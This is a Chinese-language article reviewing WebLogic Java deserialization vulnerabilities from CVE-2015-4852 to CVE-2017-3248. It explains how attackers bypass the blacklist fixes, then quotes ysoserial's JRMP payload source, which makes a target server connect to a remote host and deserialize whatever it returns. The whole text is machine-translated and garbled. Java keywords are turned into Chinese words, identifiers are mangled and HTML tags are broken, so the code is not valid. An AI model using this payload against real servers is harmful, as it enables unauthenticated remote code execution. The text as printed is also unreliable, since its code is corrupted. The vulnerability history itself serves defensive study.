Weblogic反序列化漏洞历史
0 x00 weblogic简介
WebLogic是美国甲骨文公司出品的一个应用程序服务器,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发,集成,部署和管理大型分布式网络应用,网络应用和数据库应用的Java应用服务器。
Weblogic直接反序列化漏洞回顾
1。cve - 2015 - 4852
利用Java反序列化和Apache Commons集合这一基础类库来×××,实现远程代码执行。
查看cve - 2015 - 4852的补丁,发现weblogic采用黑名单的形式来修复这个漏洞,这中修复方案很被动,存在被绕过风险,只要发现可用并且未在黑名单之外的反序列化类,便可造成新的反序列化×××。
2。cve - 2016 - 0638
weblogic反序列化的点有三个,黑名单ClassFilter.class也作用于这三个位置:
<代码> weblogic.rjvm.InboundMsgAbbrev.class: ServerChannelInputStream weblogic.rjvm.MsgAbbrevInputStream.class weblogic.iiop.Utils.class 代码>
使用weblogic.jms.common.StreamMessageImpl的readExternal()绕过
3。cve - 2016 - 3510
原理是将反序列化的对象封装进了weblogic.corba.utils。MarshalledObject,然后再对MarshalledObject进行序列化,生成负载字节码。反序列化时MarshalledObject不在WebLogic黑名单里,可正常反序列化,在反序列化时MarshalledObject对象调用readObject时对MarshalledObject封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。
0 x02 Weblogic JRMP反序列化漏洞回顾
<强> JRMP协议强>:Java远程消息交换协议JRMP即Java远程MessagingProtocol,是特定于Java技术的,用于查找和引用远程对象的协议。这是运行在Java远程方法调用RMI之下,TCP/IP之上的线路层协议。
<强> RMI 强>:是远程方法调用的简称,是J2SE的一部分,
能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,
可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,
可以像调用本地Java对象的方法一样调用远程对象的方法,
使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
1。cve - 2017 - 3248
这个漏洞就是利用RMI机制的缺陷,通过JRMP协议达到执行任意反序列化负载的目的。使用ysoserial的JRMPLister,这将会序列化一个RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端TCP的连接获取RMI注册。此连接使用JRMP协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。
JRMPLister代码:
<代码>包ysoserial.payloads; 进口java.lang.reflect.Proxy; 进口java.rmi.registry.Registry; 进口java.rmi.server.ObjID; 进口java.rmi.server.RemoteObjectInvocationHandler; 进口java.util.Random; 进口sun.rmi.server.UnicastRef; 进口sun.rmi.transport.LiveRef; 进口sun.rmi.transport.tcp.TCPEndpoint; 进口ysoserial.payloads.annotation.Authors; 进口ysoserial.payloads.annotation.PayloadTest; 进口ysoserial.payloads.util.PayloadRunner;/* * * * * UnicastRef。newCall (RemoteObject操作[],int,长) * DGCImpl_Stub。脏(ObjID[]、长、租赁) * DGCClient EndpointEntry.makeDirtyCall美元(Set长) * DGCClient EndpointEntry.registerRefs美元(List (端点) * DGCClient EndpointEntry.lookup美元(端点) * DGCClient。registerRefs(端点,List { 公共注册中心getObject(最终字符串命令){抛出异常 字符串主机; int端口; int 9=command.indexOf (“:”); 如果(9月& lt;0){ 随机端口=new () .nextInt (65535); 主机=命令; } 其他{ 主机=命令。substring(0、9月); 端口=Integer.valueOf(命令。substring (9 + 1)); } ObjID id=new ObjID(新的随机().nextInt ());//RMI注册表 TCPEndpoint te=new TCPEndpoint(主机、端口); UnicastRef ref=new UnicastRef(新LiveRef (id、te假)); RemoteObjectInvocationHandler obj=new RemoteObjectInvocationHandler (ref); 注册代理=(注册中心)Proxy.newProxyInstance (JRMPClient.class.getClassLoader(),新类[]{ Registry.class },obj); 返回代理; } 最后公共静态void main (String [] args){抛出异常 Thread.currentThread () .setContextClassLoader (JRMPClient.class.getClassLoader ()); PayloadRunner.run (JRMPClient.class, args); } } Weblogic反序列化漏洞历史